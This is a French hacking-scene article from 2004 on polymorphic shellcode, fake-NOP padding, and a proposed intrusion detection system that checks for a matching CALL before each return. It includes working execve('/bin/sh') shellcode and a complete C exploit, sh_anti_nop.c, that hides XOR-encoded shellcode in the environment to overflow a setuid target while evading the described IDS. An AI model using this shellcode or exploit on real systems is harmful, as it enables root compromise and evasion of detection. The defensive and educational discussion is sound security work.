AFFICHER CET ARTICLE EN MODE PAGE ENTIERE

SOMMAIRE

 

1) Introduction

2) Buffer overflows : rappels de base

3) Les Shellcodes Polymorphiques
...3.1) Définition
...3.2) Le moteur de shellcodes polymorphiques
...3.3) Les Fake-NOPs

4) Un IDS contre les Shellcodes Polymorphiques
...4.1) Fonctionnement de la stack
...4.2) Fonctionnement de notre IDS

5) Déjouer l'IDS

6) Conclusion

7) Codes source

8) Réferences


1) Introduction

Les shellcodes sont très vulgarisés sur la scène de hack mondiale. Tout le monde ou presque sait faire un execve() sur "/bin/sh", lancer un simple shell. Toutefois, la programmation d'un shellcode ne se résume pas seulement à obtenir un remote shell root, c'est un véritable art. Avec les protections actuelles, un shellcode doit être petit, donc optimisé, invisible pour ne pas se faire détecter et assez puissant pour casser de très robustes sécurités serveurs.

Cet article se basera sur les moyens permettant de détecter les shellcodes actuels, donc sur leur furtivité, leur capacité à se camoufler. Pour ceux qui ne seraient pas familiarisés avec l'univers des shellcodes, se reporter à [1], [2] ou [6].

Les shellcodes polymorphiques ont été inventés afin de rendre les shellcodes indétectables par les systèmes d'anti-intrusions. Plusieurs évolutions de ces shellcodes ont vu le jour. Par définition, un shellcode polymorphique n'a aucune partie complètement identique dans chacun de ses clones. Aucun développeur d'IDS ne pourra construire une base de données rassemblant des millions de shellcodes reproductibles par un seul algorithme.
Cette méthode a été encore améliorée très récemment par la team RTC. Dans Phrack #61, son paper "Polymorphic shellcode Engine Using Spectrum Analysis" est une mini-révolution de la programmation de shellcode polymorphique. La RTC affirme avoir implémenté des méthodes contre la prochaine génération de NIDS qui utiliseront les méthodes de data-mining.

Ce paper va donc se baser sur cette méthode de contournement. On étudiera tout d'abord ce qu'est un overflow et le fonctionnement d'un shellcode polymorphique, puis on examinera en détail le mécanisme proposé par RTC. Enfin, on en tirera des faiblesses et nous expliquerons la méthode choisie pour contourner leur engine, et nous nous tournerons vers le code d'un IDS anti-shellcodes polymorphiques.


 

2) Buffer overflows : rappels de base

Aleph1 [1] a révolutionné le principe des buffers overflows. Cette technique d'exploitation est l'une des plus répandue et, malgré toutes les protections actuelles, l'une des plus exploitées au monde. Pourquoi ? Elle est très simple et ne demande, dans certains cas qu'une connaissance relativement limitée d'un OS : connaître le fonctionnement de la stack et quelques instructions Assembleur. En outre, les programmes actuels sont immenses et très complexes, pouvant contenir parfois des dizaines de milliers de lignes de code. Parmi toutes celles là, malgré l'utilisation de vérificateurs de code source, de protections contre l'exécution de code dans certains segments et de compilateurs sécurisés, l'expérience montre que l'utilisation de toutes ces technologies ne supprime pas de manière radicale toutes les failles potentielles d'un programme. Du coup, un certain nombre d'attaques demeure possible.

Le but d'une exploitation par buffer overflow est de faire exécuter du code arbitraire à un programme. Le scénario le plus courant est d'envoyer du code permettant l'exécution d'un shell sur un processus ayant des droits privilégiés, ceux du root par exemple afin d'obtenir un shell distant possédant les droits administrateur.
Lors d'une attaque par buffer overflow, l'exploit ne contient pas seulement le shellcode proprement dit. Il se compose de 3 morceaux principaux, en général :
- des NOP (Null OPerations, 0x90, instruction vide) qui servent à remplir le buffer vulnérable.
- le code du shellcode proprement dit.
- l'adresse de retour qui pointe dans les NOPs.

 

Ainsi, la stack sera organisée de la sorte :

NOPs
Shellcode
Adresse de retour

 

 

J'explique : quand la fonction contenant le buffer vulnérable se termine par l'opcode "ret", le flux d'exécution est modifié, et elle reprend quelque part dans les NOPs, l'adresse de retour réelle ayant été écrasée par la nouvelle adresse de retour, celle de notre shellcode.
Pourquoi placer des NOPs ? Les NOPs sont essentiels. En effet, d'une part, ils servent à combler le buffer vulnérable. D'autre part, ils ont pour rôle de récupérer le flux d'exécution à partir de l'adresse de retour estimée. Par définition, on ne sait pas combien de NOPs seront exécutés au moment de l'exploitation. Plus la plage de NOPs est grande, plus il y aura de chances que l'adresse de retour estimée soit bonne. En général, la taille de la la plage des NOPs est de l'ordre de quelques Ko. Cependant, si on connaît un peu la machine distante et les processus qui y tournent, on peut arriver à réduire considérablement cette plage de NOPs. Il n'empêche que nous en avons besoin pour que l'exploitation puisse aboutir correctement.
On remarque ici que les trois composantes d'un shellcode (NOPs, shellcode, RetAdr) sont facilement indentifiables tant que leur code est fixe. Aussi des méthodes pour les camoufler ont vu le jour.

Après l'apparition des shellcodes, on s'est mis à programmer des IDS (Intrusion Detection System = Système de Détection d'Intrusion) fonctionnant avec une méthode simple, mais amplement satisfaisante : le pattern-matching. Cette technique est en fait basée sur la signature d'un programme. l'IDS regarde dans sa base de données si le shellcode possède cette signature, c'est à dire une suite d'octets qui permet de l'identifier à coup sûr. Pour les shellcodes de l'époque qui étaient du style :

char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
int main()
{
void (*sh)() = (void *)shellcode;
sh();
}

Une signature pouvait permettre de détecter des opcodes spécifiques a un shellcode comme "/bin/sh". En outre, les 3 octets XFF dénotent que l'adresse de la chaîne a été calculée avec un jmp/call (nombre négatif codé sur un mot long) et ces octets peuvent également être détectés par les IDS, s'ils se trouvent à proximité d'un "/bin/sh" .

Or, il est possible de masquer cette chaîne en pushant directement tous les arguments dans la stack. Du coup, on obtient un shellcode qui fait toujours un execve() sur /bin/sh, mais qui est beaucoup plus petit :

char shellcode[] =
"\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f"
"\x2f\x62\x69\x89\xe3\x50\x53\x89\xe1\xb0"
"\x0b\xcd\x80";

Dans ce cas, l'IDS détectera "int$0x80" (qui correspond en assembleur à 0xCD, 0x80). Ces deux types de signatures ne peuvent être supprimées d'un shellcode classique puisqu'elles permettent d'obtenir ce que l'on cherche, un shell. Aussi, on s'aperçoit très rapidement de la faiblesse d'une telle programmation et de la nécessité de crypter tout ça.

 

 


3) Les Shellcodes Polymorphiques

3.1) Définition

Les premiers moteurs de mutation polymorphique sont apparus au début des années 90 avec le Mutation Engine de Dark Avenger. D'abord utilisée pour les virus, cette méthode a été extrapolée aux shellcodes. ADMmutate [5] est la première release publique de shellcodes polymorphiques.

Mais d'abord, qu'est-ce qu'un shellcode polymorphique ?

Il s'agit d'un shellcode crypté avec un générateur de shellcodes polymorphiques.

 

Pourquoi polymorphique ?

Parce qu'à chaque fois qu'on génère un shellcode avec ce générateur, il est entièrement différent : il ne possède plus aucun octet statique. En effet, plus besoin de chercher un système sans IDS, notre shellcode ne "ressemble à rien" mais fait bel et bien un execve() sur /bin/sh.
Nous verrons plus tard que le Polymorphic Shellcode Engine de CLET Team est beaucoup plus puissant que les simples générateurs actuels. Un shellcode polymorphique est plus simple a programmer qu'un virus polymorphique : alors que le virus se doit de posséder l'encodeur et le décodeur, le shellcode n'a besoin que du décodeur (et de la clé correspondante) pour être utilisé.
Nous l'avons dit, la technique du polymorphisme consiste a générer un shellcode polymorphique grâce àun générateur. Cette génération est un encodage basé sur un chiffrement léger à base de fonctions logiques XOR. On y incorpore ensuite le décodeur et la clef. Finalement, notre stack ressemblera a ceci :

NOPs
SHELLCODE POLYMORPHIQUE
RET ADR



avec SHELLCODE POLYMORPHIQUE :

DECODEUR
CLEF
SHELLCODE ENCODE


Cette disposition ne peut être modifiée car il faut que le shellcode original puisse se reconstruire de manière automatique.

Toutefois, autre chose pouvait vendre la mèche aux IDS malgré le polymorphisme des shellcodes. Comme nous l'avons vu, un shellcode pour buffer overflow est composé de 3 parties : les NOPs, le shellcode et l'adresse de retour.
Hé oui, quelques milliers de NOPs ou meme quelques centaines d'instructions 0x90 ne passent pas inaperçus !


Qu'est-ce qu'un NOP ?


Sous une architecture Intel-32, le NOP correspond à l'octet 0x90. Cette instruction ne fait strictement rien. Son but est seulement d'incrémenter le registre %eip pendant un cycle d'horloge. Les NOPs sont aussi utilisés par les compilateurs pour garder l'alignement sur des adresses multiples de 4, 8 ou 16 octets.
Dans une attaque par buffer overflow, ils ont deux rôles : certains NOPs servent à remplir le buffer vulnérable; et une autre plage de NOPs permet de récupérer le flot d'exécution et de compenser l'erreur de l'estimation de l'adresse de retour.
Aussi, à la place des NOPs, les générateurs de shellcodes polymorphiques ont placé autre chose. En effet, ce n'est pas le fait que l'instruction 0x90 fasse perdre un cycle d'horloge au processeur, qui est utile. Mais en l'occurence, comme le but est de remplir le buffer vulnérable, on peut se servir de n'importe quelle instruction d'un octet modifiant n'importe quel registre que le shellcode n'utilisera pas (%eax, %ebx, %ecx et %edx), plutôt que d'utiliser des NOPs.
Alors, les possibilités sont infinies. Par exemple, l'opcode 0x41 correspond à 'inc %ecx', mais aussi au caractère ASCII 'A'. C'est ce qu'on appelle des "fake-nops".

Avec ces protections, l'IDS se trouve totalement bluffé. Aucun moyen de savoir qu'un fake-nop est un NOP en réalité, ni de pouvoir détecter un shellcode polymorphique. Pour l'adresse de retour, nous ne nous arrêterons pas dessus. L'idée est de moduler l'adresse, voir [5].



3.2) Le moteur de shellcodes polymorphiques

Les générateurs de shellcodes polymorphiques classiques actuels utilisent en général le cryptage XOR avec une clé de 32 bits. Comme ce cryptage est réversible (A XOR B = C => C XOR B = A) ; on peut donc décoder aisément le shellcode. En mémoire, on aura donc :

[jump][decodeur][call negatif][sh poly]


Comment fonctionne ce générateur ?

P
renons une instruction comme "int $0x80". Le générateur va donc pusher $0x80 (little endian), ensuite on jump à l'endroit du shellcode polymorphime et on effectue un XOR.



Finalement le shellcode polymorphime ressemble donc à ça :

push $xxxx
xor $xxxx, (%esp) // on re-effectue ces deux opcodes jusqu'à ce que tous les octets du sh soit codés.
jump (%esp)


C
e principe se retrouve quasiment à l'identique dans tous les moteurs de shellcodes polymorphiques.


Pourquoi la team RTC a t'elle vraiment innove avec cette technique?


Partant du principe que les IDS actuels essayent de trouver une suite de NOPs consécutifs et font du patte-matching sur les shellcodes quand ils croient avoir détecté une zone de fake-nops. Par conséquent, leur générateur met en oeuvre un certain nombre de contournements permettant de camoufler de manière très optimale les shellcodes.


Voici les étapes successives qui sont réalisées :


- la série de NOPs est changée en une série d'intructions aléatoires, des fake-nops, codés sur 1, 2 ou 3 octets .
- le shellcode est chiffré avec un type de cryptage aléatoire suivant 3 types possibles, ADD/SUB, ROR/ROL, XOR. La routine de déchiffrement est générée de manière aléatoire.
- Une analyse spectrum permet de faire jouer les probabilités pour placer des octets aléatoires dans la zone "byte to cram", zone servant à remplir le buffer lors de l'overflow, au lieu d'y placer des NOPs.
- Enfin, la couverture des adresses de retour est basee sur la méthode de ADMmutate.

Cette protection est très optimale et permet de rendre le shellcode ainsi produit TOTALEMENT furtif. Mais il y a d'autres éléments : le shellcode ne contient aucun zéro puisqu'il sera stocké dans une chaîne de caractère. Par ailleurs la méthode de chiffrement aléatoire peut avoir plusieurs formes avec du code aléatoire qui permet de fausser les pistes (même si cette méthode n'est pas encore implentée dans la version sortie).
Finalement, en mémoire nous avons :

Fake-nops
Routine chiffrée aléatoire
Shellcode
byte to cram
Adresse de retour

 


3.3) Les Fake-NOPs

Comme une majeure partie de ce générateur a été focalisé sur le camouflage des fake-nops, ces derniers peuvent constituer une piste potentielle d'approche en vue de démasquer notre shellcode polymorphique. Penchons-nous quelques instants dessus...
Quand l'adresse de retour est modifiée, on tombe dans la série de NOPs. Le but de CLET est de transformer ces NOPs en instructions non-dangereuses. Comme on a pas a sauvegarder les registres, il faut seulement que ces NOPs ne provoquent aucune erreur, quelque soit l'endroit où on atterrit dans ces NOP. Leur idée, fort intéressante, est d'utiliser une instruction codée sur un octet. Comme chacun de ces octets sera innofensif, quelque soit l'endroit où on retombe, on arrivera au shellcode sans problème. Sachant qu'il n'existe pas beaucoup d'instructions sur un octet, ils ont misé sur le fait que beaucoup d'instructions sur un octet peuvent être codées avec une lettre majuscule. Ainsi, ce générateur cache la zone de Fake-NOPs dans une zone alpha-numérique utilisant le dictionnaire americain-anglais.
Afin de vous faire une idée du codage alphanumerique des shellcodes, veuillez lire [3] et [4]. Un générateur de shellcodes alphanumériques y est proposé.
La restriction des instructions assembleur permet de créer un shellcode polymorphique entièrement en texte. De la même manière que pour les NOPs, en sélectionnant seulement les opcodes ayant une correspondante ASCII, on peut parvenir à faire un décodeur polymorphique entièrement en texte. Que ce soit pour les NOPs, le shellcode ou le décodeur, le but n'est pas de restreindre les instructions assembleur, mais leur paramètres. Le format de codage des opcodes Intel contient deux champs importants : le ModR/M qui permet de choisir le mode d'adressage et l'acces a un registre ou une zone mémoire et le SIB (Scale Index Base) qui permet de réaliser des adressages indexés. Une instruction Intel possède un format de codage similaire au shéma ci-desous :

Instruction Prefixe
Opcode
ModR/M
SIB
Displacement
Immediate
(optionnel 1 byte)
(1-2byte)
(1byte)
(1byte)
(1,2,4byte)
(1,2,4byte)

On peut ensuite diviser l'octet ModR/M ainsi :

Mod
Reg/opcode
R/M
7 6
_5 3_
_2 0

et l'octet SIB ainsi :

Scale
Index
Base
7 6
5 3
2 0


Donc, si on choisit judicieusement ces octets (voir les Manuels d'instructions Intel), on peut alors parvenir à obtenir une instruction alphanumerique.

Comme nous l'avons vu, toute la technique repose sur les fake-nops et leur camouflage. Ensuite, le reste, n'est que de l'astuce de codage. Choisir les fake-nops comme méthode pour détecter les shellcodes me parait trop improbable et je ne vois pas comment on pourrait détecter ces fake-nop, à moins de se créer une base de données, de toutes les instructions sur un octet, des instructions sur un octet correspondant à des caractères alphanumeriques, mais je trouve cette méthode très "bourrin" et fastidieuse... Si quelqu'un veut s'y plonger... :) De plus, il parait évident qu'il est quasiment impossible de détecter un tel shellcode avec un analyseur statistique comme Snort, Spade...

Nous allons choisir une autre méthode, plutôt innovante. Mais avant de s'y plonger, revenons au fonctionnement de la stack.


 

4) Un IDS contre les shellcodes polymorphiques

4.1) Fonctionnement de la stack

La stack est une zone mémoire dans laquelle sont gérées les fonctions. Elle permet de traiter les paramètres passés aux fonctions et les variables locales à la fonction. Partons d'un programme de départ et analysons le au niveau de la pile.

/*stack.c*/
void function(int x, int y)
{
char buffer1[10];
char buffer2[10];
}

int main(void)
{
int x, y;
function(x, y);
printf("hello world !\n");
return (0);
}

 

Au tout début, ESP pointe juste avant le début de la pile, et EBP sur le début. Ensuite, si on relie notre programme, après le début du main(), vient l'appel à la fonction function(). Cette fonction possède deux arguments a et b. Il sont donc placés sur la pile par deux pushs successifs dans l'ordre inverse de leur déclaration :

Valeur B - Valeur A - [...] - [...]
EBP ESP

Une fois empilés, main() retourne le flux d'exécution à function() par l'appel système CALL function(). A ce moment EIP contient l'adresse de la prochaine instruction à exécuter, l'adresse de retour de la fonction.

Valeur B - Valeur A - Addr RET - [...]
EBP ESP

Nous entrons maintenant dans function(). Ici, la stack va créer un "cadre de pile", afin d'assurer un meilleur adressage des arguments : on push EBP et on copie ESP dans EBP.

Valeur B - Valeur A - Addr RET - Save EBP - [...] - [...]
ESP/EBP

A partir de là, à la moindre modification de la pile, ESP pointera toujours au sommet de la pile, mais la nouvelle adresse contenue dans EBP reste fixe jusqu'au retour à la fonction initiale. On peut lire des données sur la pile grâce à elle.
Ensuite le programme se déroule. buffer2 puis buffer1 sont mis sur la stack.

Valeur B - Valeur A - Addr RET - Save EBP - buffer2 - buffer1 - [...]
EBP ESP

La fonction s'achève par un LEAVE et un RET.

Dans une attaque par buffer overflow classique, on déborde le buffer2. Du coup, on écrase Save EBP, et l'adresse de retour. Quand le RET survient, l'adresse de retour n'est pas la bonne et le flux d'exécution est modifié.

Maintenant que nous avons vu ces rappels de bases, développons la méthode qu'utilisera notre IDS.


4.2) Fonctionnement de notre IDS

Résumons donc ce que nous avons dit :

- notre IDS ne peut pas se baser sur une méthode de pattern-matching puisque le shellcode est codé, il ne possède donc pas de signature.
- on ne peut pas non plus se baser sur les NOPs, puisque ce sont des fake-nops, voire des NOPs alphanumeriques.
- il ne peut pas se baser sur les fonctions logiques car elles sont aléatoires, et l'utilisation des registres est aussi aléatoire.

 

Nous avons donc deux pistes potentielles :

1) notre IDS peut scanner la stack à la recherche d'un caractere alphanumerique. S'il n'en trouve pas, il recherche alors les instructions sur un octet et verifie que ses instructions se suivent. Si l'une des deux conditions est vraie, alors on a de grandes chances d'être dans une zone de fake-nop.

Comme cela ne peut suffir étant donné que l'on peut intégrer des fake-nops non alphanumeriques sur plusieurs octets, comme l'explique très bien l'article de Phrack, il nous faut une deuxième technique.

2) Cette méthode consiste à rechercher si l'exploitation s'est produite ou pas. L'idée est de laisser l'exploitation se faire, au lieu d'agir sur l'adresse de retour. Quand un programme appelle une sous-fonction, on a :

call ssfunc1
xor eax, eax
etc.

 

Quand ssfunc1() revient du RET, on tombe sur xor eax, eax. C'est là que l'IDS agit. Il va se baser sur le fait que pour aller dans une sous-fonction, il faut un CALL. Donc, une fois sur l'opcode "xor eax, eax", il va vérifier si le CALL ssfunc1 est bien là. S'il est là, c'est que le retour s'est effectué normalement. S'il n'est pas là, il en déduit simplement que le flux d'exécution a été détourné et qu'il y a fort a parier qu'on se trouve dans une série de fake-nops :)

Evidement, cela est très simplifié car plusieurs difficultés se posent. Déjà, il faut trouver un repère distinctif de tous les CALL possibles. Voici une liste exhaustive de ces CALL :

E8 cd CALL rel32 7+m Call near, displacement relative to next instruction
FF /2 CALL r/m32 7+m/10+m Call near, indirect
9A cp CALL ptr16:32 17+m,pm=34+m Call intersegment, to full pointer given
9A cp CALL ptr16:32 pm=52+m Call gate, same privilege
9A cp CALL ptr16:32 pm=86+m Call gate, more privilege, no parameters
9A cp CALL ptr32:32 pm=94+4x+m Call gate, more privilege, x parameters
9A cp CALL ptr16:32 ts Call to task
FF /3 CALL m16:32 22+m,pm=38+m Call intersegment, address at r/m dword
FF /3 CALL m16:32 pm=56+m Call gate, same privilege
FF /3 CALL m16:32 pm=90+m Call gate, more privilege, no parameters
FF /3 CALL m16:32 pm=98+4x+m Call gate, more privilege, x parameters
FF /3 CALL m16:32 5 + ts Call to task

 

Comment l'IDS trouve t-il le CALL ?

Pour chaque CALL, on connait sa taille et le nombre d'arguments. Soit s la taille du CALL et n le nombre d'argument, l'IDS devra donc regarder à l'adresse :

[esp - (n + 1) * 4] - x

S'il tombe pas sur un CALL : "fake-nops sux" :p.

Ainsi, si notre IDS échoue au niveau des fake-nops, il regardera alors s'il y a un CALL après le RET de la fonction. S'il n'y en a pas, c'est qu'il y a de fortes chances que le processus soit attaqué.

Cependant, notre shellcode ne s'arrêtera pas là et utilisera une autre technique. En effet, on s'aperçoit que ce genre de détection laisse facilement s'échapper les exploitations de heap overflow.
Nous avions vu précédemment que la mémoire est divisée en 3 parties : Text, Data et Stack. Mais, on peut encore l'a subdiviser si nous souhaitons être plus précis:
- Dans la zone Text sont stockées les instructions, le code du programme.
- Dans la section Data se trouvent les données de type globales initialisées (on connaît la valeur lors de la compilation).
- La section Bss, elle, contient les données qui ne sont pas initialisées.
- Il reste les variables allouées dynamiquement (via la fonction malloc()), qui seront stockées dans le Heap.
Précisons que les variables locales déclarées en static sont considérés comme des variables globales et donc stockées dans la section Bss.
Pour être plus technique, contrairement à la stack qui fonctionne selon le mode LIFO, le heap ne suit aucune règle. Dans le Heap, les variables se touchent et se suivent dans l'ordre de leur déclaration. Il représente simplement un espace mémoire où sont stockées des variables allouées avec la fonction malloc().
Cette fonction a pour prototype : void *malloc(size_t size);
On s'aperçoit qu'elle renvoie un pointeur sur notre espace mémoire. Le heap étant une zone exclusivement réservée aux données, il faut savoir qu'aucun registre n'y est stocké.
Malloc fragmente le heap par 'bloc' ayant une structure qui contient les informations de la mémoire allouée. Cette structure se nomme chunk. Ainsi, avant un overflow on aura :

Heap : [chunk1][bloc1][chunk2][bloc2]
Heap : [chunk1][bloc1][our_chunk][bloc2]

 

 

La fonction free() permet de libérer un bloc qui a été préalablement alloué avec malloc(). Si un des chunk est voisin de celui qu'on libère via free(), la fonction unlink() fusionnera les deux chunks en un seul gros chunk libre. Toute l'exploitation réside dans cette particularité.

Le but est de déborder le bloc1. Quand free(bloc1) va etre exécuté, il va verifier que chunk2 n'est pas déjà libére, pour savoir s'il doit appeler unlink ou non.
Par conséquent, l'attaquant va remplir le buffer et, après les limites normales de celui-ci, simuler un fake-chunk qui contiendra l'adresse de notre shellcode. Comme un chunk est composé de 3 champs (bk fd et prev_size), il suffit d'indiquer dans le dernier champ que le chunk est free. unlink va alors fusionner les bloc1 et our_chunk qui sera exécuté et lancera l'exploit.

Avec un heap overflow, on peut, soit exploiter la fonction free(), soit écrire un pointeur sur du code à exécuter (comme pour le cas d'un format bug). Voici deux techniques complexes à parer. Notre IDS devra bel et bien recompiler tous les binaires de la machine à protéger. Dans notre cas, l'IDS placera par exemple un checksum dans le chunk et vérifiera à chaque fois si ce checksum a été modifié ou non. Cette méthode n'est pas encore implentée dans la version de l'IDS 1.0, actuellement releasée.

Comme son action est assez délicate, l'IDS possède ce défaut (il faut recompiler tous les binaires). Nous n'allons pas fournir ici le code source complet de l'IDS. Les méthodes mentionnées plus bas sont toutes en cours d'implémentation. Elles ont été testées et fonctionnent avec succès.







5) Déjouer l'IDS

Evidemment, comme tout programme, notre IDS a des faiblesses, et il en a beaucoup. L'engine de CLET est tellement perfectionné qu'il est dur de programmer d'un coup un code parfait qui soit optimal.
Il y a donc quelques possibilites de bypasser notre IDS. Ainsi, si par exemple, on fournit le shellcode en argument, ou dans l'environnement, on supprime du coup l'utilisation des NOPs...

Par exemple, voici un exploit permettant de supprimer les NOPs en placant le shellcode dans l'environnement :

/*----------sh_anti_nop.c ----------*/
#include <unistd.h>
#include <stdlib.h>

#define BUFFER_LEN 4
#define OVERFLOW 8
#define TARGET "/admin/vuln"
#define ARG (0xc0000000 - 4 - sizeof(TARGET) - sizeof(shellcode))
#define copy(a, b) *((int *) &arg[1][a]) = b

int main(int argc, char **argv)
{
_char shellcode[] =
_"\x68\x4e\xa4\xc2\x86\xb8\xce\xa4\x4b\x70"
_"\x31\x04\x24\x68\x70\x21\x50\xc9\xb8\xa2"
_"\x91\x5b\x04\x31\x04\x24\x68\x14\x43\xf9"
_"\x01\xb8\x47\xca\x18\x30\x31\x04\x24\x68"
_"\x1f\x69\xe6\x4e\xb8\x76\xe0\x05\x1e\x31"
_"\x04\x24\x68\x0d\xcf\xba\x6f\xb8\x65\xe0"
_"\x95\x0d\x31\x04\x24\x68\x97\x24\x1b\x62"
_"\xb8\xf9\x0b\x68\x0a\x31\x04\x24\x68\x53"
_"\xbf\x93\x7d\xb8\x62\x7f\xc3\x15\x31\x04"
_"\x24\x68\x6c\x88\xc4\xd1\xb8\x5d\x53\x09"
_"\x51\x31\x04\x24\x68\x83\x16\x75\x3e\xb8"
_"\xb2\xd6\xc5\x29\x31\x04\x24\xff\xe4"

_char *arg[] = { TARGET, "flip", NULL };
_char *envp[] = { shellcode, NULL };
_int i;
_arg[1] = malloc(BUFFER_LEN + OVERFLOW + 1);
_memset(arg[1], '|', BUFFER_LEN+OVERFLOW);
_copy(BUFFER_LEN+OVERFLOW-4, ARG); // calcule la nouvelle adresse de retour
_printf("-> Shellcode Address: 0x%x\n", ARG);
_execve(arg[0], arg, envp);
}
/*----------sh_anti_nop.c ----------*/

 

C'est un shellcode polymorphique qui fait simplement un execve() sur "/bin/sh" crypté avec un chiffrement XOR. Avec ce genre d'exploit, comme il n'est nul besoin ici d'utiliser des NOPs, on contourne assez facilement la première méthode de détection de notre IDS. Si par contre, l'attaquant décide de rajouter les octets caractéristiques d'un CALL dans son exploitation, on trompe du coup l'IDS et l'exploitation peut réussir...


On se rend compte alors qu'une telle technique peut intercepter les shellcodes utilisant execve(), mais aussi d'autres syscalls. Or, on s'aperçoit que cette technique a un défaut : certes elle empêche tout shellcode exploitant un buffer overflow de s'exécuter, mais... c'est tout. Ainsi, un shellcode qui exploite un heap overflow ou une format string n'est donc pas détecté.
Par conséquent, il faudrait songer à élargir cette méthode à d'autres failles afin qu'un tel IDS puisse intercepter les types de shellcodes les plus répandus.

Pour les format strings, il peut être ainsi utile de s'intéresser de près à la protection des adresses de la got et de .dtors, puisque ce sont les deux principales méthodes qui permettent de prendre le contrôle d'une machine avec cette faille (en plus de l'écrasement de l'adresse de retour, mais notre technique bloque déjà cette exploitation).


 


6) Conclusion

Comme nous l'avons vu, il est toujours possible de pouvoir détecter un shellcode poymorphique, aussi sophistiqué et invisible soit-il. Cependant, le générateur de shellcodes polymorphiques est vraiment excellent au niveau de sa conception. Je suis sûr qu'il doit y avoir des méthodes plus fines permettant de détecter ce genre de shellcodes. Cependant, les techniques permettant de créer des shellcodes polymorphiques sont, pour la plupart, restées privees. Ainsi, il est très difficile de pouvoir bâtir un détecteur solide et impeccable du premier coup quand on ne connait pas les techniques utilisees de l'autre côté.

La guerre shellcodes vs IDS n'est donc pas finie :)


Greetz to : z33w, etherlord, edcba, fool, CocaCola.








7) Codes Source

ids_header.c for IDPS
ids_source.c for IDPS

 

 

 


8) Références


-----------------------------------------------------------------------------------
[1] Sinan "noir" eren "Smashing the Kernel Stack for Fun And Profit", Phrack #60-0x06
[2] Aleph1 "Smashing the Stack For Fun And Profit", Phrack #49-0x0e
[3] rix "Writing ia32 alphanumeric shellcodes", Phrack 54-0x0f
[4] Intel Corp "Intel architecture Software Developer's Manuel" (vol.1-3)
[5] ADMmutate // http://adm.freelsd.net
[6] Nocte "Fun and Games with evoluates shellcodes", TDC Mag n°4
[7] rtc team "Polymorphic Shellcode Engin using spectrum analysis", Phrack "61-0x07
-----------------------------------------------------------------------------------

 

NOCTE

Copyright © 2004 ARENHACK - DHS

HAUT DE PAGE